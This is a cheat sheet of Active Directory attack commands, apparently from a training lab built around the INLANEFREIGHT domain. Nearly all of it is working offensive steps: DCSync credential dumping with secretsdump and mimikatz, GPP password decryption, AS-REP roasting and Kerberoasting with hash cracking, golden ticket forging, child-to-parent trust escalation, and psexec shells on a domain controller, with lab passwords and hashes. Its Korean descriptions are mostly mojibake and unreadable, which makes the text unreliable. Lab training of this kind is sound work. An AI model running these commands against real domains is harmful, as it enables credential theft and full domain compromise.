secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
NTLM password hashes
DCSync 곡격μ μννκ³ λμ Windows λλ©μΈμμ νλ λλ μ 체λ₯Ό κ²μνλ λ° μ¬μ©λλ Impacket λꡬμ
λλ€ . Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
klist
krb5-user
νμΌ μ λ΄μ©μ 보λ λ° μ¬μ©λλ λͺ
λ Ήμ
λλ€ ccache
. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
python /opt/PKINITtools/getnthash.py -key 70f805f9c91ca91836b670447facb099b4b2b7cd5b762386b3369aa16d912275 INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01$
getnthash.py
Linux κΈ°λ° νΈμ€νΈμμ TGS μμ²μ μ μΆνλ λ° μ¬μ©λ©λλ€ .
secretsdump.py -just-dc-user INLANEFREIGHT/administrator "ACADEMY-EA-DC01$"@172.16.5.5 -hashes aad3c435b514a4eeaad3b935b51304fe:313b6f423cd1ee07e91315b4919fb4ba
λ° μΊ‘μ²λ ν΄μ( )λ₯Ό NTDS.dit
μ¬μ©νμ¬ ν΄μλ₯Ό μΆμΆνλ λ° μ¬μ©λλ Impacket λꡬμ
λλ€ . Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.DCSync attack-hashes
.\Rubeus.exe asktgt /user:ACADEMY-EA-DC01$ /<base64 certificate>=/ptt
Rubeusλ₯Ό μ¬μ©νμ¬ TGTλ₯Ό μμ²νκ³ Windows λμμ pass-the-ticket attack
λ¨Έμ κ³μ ( )μ μ¬μ©νμ¬ μνν©λλ€. /user:ACADEMY-EA-DC01$
Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
mimikatz # lsadump::dcsync /user:inlanefreight\krbtgt
λ₯Ό μ¬μ©νμ¬ DCSync 곡격μ μνν©λλ€ Mimikatz
. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
κΈ°ν μλͺ»λ ꡬμ±
λͺ λ Ή
μ€λͺ
Import-Module .\SecurityAssessment.ps1
λͺ¨λμ κ°μ Έμ€λ λ° μ¬μ©λ©λλ€ Security Assessment.ps1
. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-SpoolStatus -ComputerName ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
SecurityAssessment.ps1μ λν Windows λμμ μ΄κ±°νλ λ° μ¬μ©λλ κΈ°λ° λꡬμ
λλ€ MS-PRN Printer bug
. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
adidnsdump -u inlanefreight\\forend ldap://172.16.5.5
LDAP
Linux κΈ°λ° νΈμ€νΈμμ DNS μμμ λͺ¨λ λ μ½λλ₯Ό νμΈνλ λ° μ¬μ©λ©λλ€ .
adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 -r
Linux κΈ°λ° νΈμ€νΈμμ A query
( ) λ₯Ό μννμ¬ DNS μμμμ μ μ μλ λ μ½λλ₯Ό νμΈνλ λ° μ¬μ©λ©λλ€ .-r
Get-DomainUser * | Select-Object samaccountname,description
Select-Object
Windows κΈ°λ° νΈμ€νΈμ λμ Windows λλ©μΈμμ μ νν κ°μ²΄( )μ μ€λͺ
νλλ₯Ό νμνλ λ° μ¬μ©λλ PowerView λꡬμ
λλ€ .
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
Windows κΈ°λ° νΈμ€νΈμμ λμ Windows λλ©μΈμ PASSWD_NOTREQD
μ ν κ°μ²΄( ) μ€μ μ νμΈνλ λ° μ¬μ©λλ PowerView λꡬμ
λλ€ .Select-Object
ls \\academy-ea-dc01\SYSVOL\INLANEFREIGHT.LOCAL\scripts
νμ¬ λ‘κ·Έμ¨ν μ¬μ©μμ 컨ν μ€νΈμμ Windows λμμ νΈμ€ν λ 곡μ λ΄μ©μ λμ΄νλ λ° μ¬μ©λ©λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
κ·Έλ£Ή μ μ±
μ΄κ±° λ° κ³΅κ²©
λͺ λ Ή
μ€λͺ
gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE
group policy preference password
Linux κΈ°λ° νΈμ€νΈμμ μΊ‘μ²λ λ΄μ©μ ν΄λ
νλ λ° μ¬μ©λλ λꡬμ
λλ€ .
crackmapexec smb -L | grep gpp
group policy preference password
using μ μ°Ύμ κ²μνκ³ CrackMapExec
, λ₯Ό μ¬μ©νμ¬ μΆλ ₯μ νν°λ§ν©λλ€ grep
. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin
Linux κΈ°λ° νΈμ€νΈλ₯Ό SYSVOL
μ¬μ©νμ¬ Windows λμμ 곡μ μ μ μ₯λ λͺ¨λ μ격 μ¦λͺ
μ μ°Ύκ³ κ²μν©λλ€ .CrackMapExec
Get-DomainGPO | select displayname
Windows κΈ°λ° νΈμ€νΈμμ λμ Windows λλ©μΈμ GPO μ΄λ¦μ μ΄κ±°νλ λ° μ¬μ©λλ PowerView λꡬμ λλ€.
Get-GPO -All | Select DisplayName
GPO μ΄λ¦μ μ΄κ±°νλ λ° μ¬μ©λλ PowerShell cmd-letμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
$sid=Convert-NameToSid "Domain Users"
$sid
λꡬ μ λμΌνκ² μ€μ λκ³ Convert-NameToSid
κ·Έλ£Ή κ³μ μ μ§μ νλ λ³μλ₯Ό μμ±ν©λλ€ Domain Users
. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid
Domain Users
( eq $sid
) κ·Έλ£Ήμ΄ νλ μ΄μμ GPOμ λν κΆνμ κ°μ§κ³ μλμ§ νμΈνλ λ° μ¬μ©λλ PowerView λꡬμ
λλ€ . Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-GPO -Guid 7CA9C789-14CE-46E3-A722-83F4097AF532
μ£Όμ΄μ§ GPOμ μ΄λ¦μ νμνλ λ° μ¬μ©λλ PowerShell cmd-letμ
λλ€ GUID
. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
ASREλ‘μ€ν
λͺ λ Ή
μ€λͺ
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl
DONT_REQ_PREAUTH
λμ Windows λλ©μΈμ μ¬μ©μ κ³μ μμ κ°μ κ²μνλ λ° μ¬μ©λλ PowerView κΈ°λ° λꡬμ
λλ€ . Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
for user in $(cat users); do GetNPUsers.py -no-pass -dc-ip 10.10.10.161 htb/${user} | grep -v Impacket; done
linux, as-rep roasting
.\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat
Rubeus
μ μν ASEP Roasting attack
νκ³ μ λν μΆλ ₯ νμμ μ§μ νλ λ° μ¬μ©λ©λλ€ Hashcat
. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txt
Hashcat
λ¨μ΄ λͺ©λ‘( )μ μ¬μ©νμ¬ μΊ‘μ²λ ν΄μλ₯Ό ν΄λ
νλ €κ³ μλνλ λ° μ¬μ©λ©λλ€ rockyou.txt
. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt
λμ Windows λλ©μΈμ μ¬μ©μλ₯Ό μ΄κ±°νκ³ AS
Kerberos μ¬μ μΈμ¦μ΄ νμνμ§ μμ μ¬μ©μκ° λ°κ²¬λλ©΄ μλμΌλ‘ κ²μν©λλ€. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
μ λ’° κ΄κ³ - νμ > μμ μ λ’°
λͺ λ Ή
μ€λͺ
Import-Module activedirectory
λͺ¨λ μ κ°μ Έμ€λ λ° μ¬μ©λ©λλ€ Active Directory
. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-ADTrust -Filter *
λμ Windows λλ©μΈμ μ λ’° κ΄κ³λ₯Ό μ΄κ±°νλ λ° μ¬μ©λλ PowerShell cmd-letμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainTrust
λμ Windows λλ©μΈμ μ λ’° κ΄κ³λ₯Ό μ΄κ±°νλ λ° μ¬μ©λλ PowerView λꡬμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainTrustMapping
Windows κΈ°λ° νΈμ€νΈμμ λλ©μΈ μ λ’° λ§€νμ μννλ λ° μ¬μ©λλ PowerView λꡬμ λλ€.
Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName
Windows κΈ°λ° νΈμ€νΈμμ λμ νμ λλ©μΈμ μ¬μ©μλ₯Ό μ΄κ±°νλ λ° μ¬μ©λλ PowerView λꡬμ λλ€.
mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
Mimikatzλ₯Ό μ¬μ©νμ¬ Windows κΈ°λ° νΈμ€νΈμμ KRBTGT
κ³μ μ μ»μ΅λλ€ .NT Hash
Get-DomainSID
Windows κΈ°λ° νΈμ€νΈμμ λμ νμ λλ©μΈμ λν SIDλ₯Ό κ°μ Έμ€λ λ° μ¬μ©λλ PowerView λꡬμ λλ€.
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid
Enterprise Admins
Windows κΈ°λ° νΈμ€νΈμμ κ·Έλ£Ήμ SIDλ₯Ό μ»λ λ° μ¬μ©λλ PowerView λꡬμ
λλ€ .
ls \\academy-ea-dc01.inlanefreight.local\c$
λμ λλ©μΈ 컨νΈλ‘€λ¬μ μλ C λλΌμ΄λΈμ λ΄μ©μ λμ΄νλ λ° μ¬μ©λ©λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt
Windows κΈ°λ° νΈμ€νΈμμ Mimikatz
λ₯Ό μμ±νλ λ° μ¬μ©λ©λλ€ .Golden Ticket
.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt
Windows κΈ°λ° νΈμ€νΈμμ Rubeus
λ₯Ό μμ±νλ λ° μ¬μ©λ©λλ€ .Golden Ticket
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm
Mimikatz
Windows κΈ°λ° νΈμ€νΈμμ DCSync 곡격μ μννλ λ° μ¬μ©λ©λλ€ .
secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt
Linux κΈ°λ° νΈμ€νΈμμ DCSync 곡격μ μννλ λ° μ¬μ©λλ Impacket λꡬμ λλ€.
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240
SID Brute forcing
Linux κΈ°λ° νΈμ€νΈμμ 곡격μ μννλ λ° μ¬μ©λλ Impacket λꡬμ
λλ€ .
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID"
Linux κΈ°λ° νΈμ€νΈμμ λμ Windows λλ©μΈμ SIDλ₯Ό κ²μνλ λ° μ¬μ©λλ Impacket λꡬμ λλ€.
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"
λμ Windows λλ©μΈμ κ²μ νκ³ μ΄λ₯Ό Linux κΈ°λ° νΈμ€νΈμμ SID
Enterprise Admin κ·Έλ£Ήμ μ°κ²°νλ λ° μ¬μ©λλ Impacket λꡬμ
λλ€.RID
ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
Golden Ticket
Linux κΈ°λ° νΈμ€νΈμμ λ₯Ό μμ±νλ λ° μ¬μ©λλ Impacket λꡬμ
λλ€ .
export KRB5CCNAME=hacker.ccache
KRB5CCNAME Environment Variable
Linux κΈ°λ° νΈμ€νΈμμ μ€μ νλ λ° μ¬μ©λ©λλ€ .
psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5
Linux κΈ°λ° νΈμ€νΈμμ λμ λλ©μΈ 컨νΈλ‘€λ¬μμ μ Έ μΈμ μ μ€μ νλ λ° μ¬μ©λλ Impacket λꡬμ λλ€.
raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm
νμ λλ©μΈμμ μμ λλ©μΈμΌλ‘ νλλλ 곡격μ μλμΌλ‘ μννλ Impacket λꡬμ λλ€.
μ λ’° κ΄κ³ - ν¬λ¦¬μ€νΈ κ°
λͺ λ Ή
μ€λͺ
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName
SPNs
Windows κΈ°λ° νΈμ€νΈμμ μ°κ²°λ κ³μ μ μ΄κ±°νλ λ° μ¬μ©λλ PowerView λꡬμ
λλ€ .
Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc | select samaccountname,memberof
mssqlsvc
Windows κΈ°λ° νΈμ€νΈμμ κ³μ μ μ΄κ±°νλ λ° μ¬μ©λλ PowerView λꡬμ
λλ€ .
.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap
Windows κΈ°λ° νΈμ€νΈμμ Rubeus
λμ Windows λλ©μΈ( )μ λν΄ Kerberoasting 곡격μ μννλ λ° μ¬μ©λ©λλ€ ./domain:FREIGHTLOGISTICS.local
Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL
Windows κΈ°λ° νΈμ€νΈμμ λλ©μΈμ μνμ§ μμ μ¬μ©μλ‘ κ·Έλ£Ήμ μ΄κ±°νλ λ° μ¬μ©λλ PowerView λꡬμ λλ€.
Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator
Windows κΈ°λ° νΈμ€νΈμμ λμ Windows μμ€ν μ μ격μΌλ‘ μ°κ²°νλ λ° μ¬μ©λλ PowerShell cmd-letμ λλ€.
GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
Linux κΈ°λ° νΈμ€νΈμμ -request
λμ Windows λλ©μΈ( )μ μλ κ³μ μ TGS ν°μΌμ μμ²( )νλ λ° μ¬μ©λλ Impacket λꡬμ
λλ€ .-target-domain
bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2
BloodHound
Linux κΈ°λ° νΈμ€νΈμμ λμ Windows λλ©μΈ μ λν΄ Python ꡬνμ μ€νν©λλ€ .
zip -r ilfreight_bh.zip *.json
μ¬λ¬ νμΌμ νλμ λ¨μΌ .zip
νμΌλ‘ μμΆνμ¬ BloodHound GUIμ μ
λ‘λνλ λ° μ¬μ©λ©λλ€.
Last updated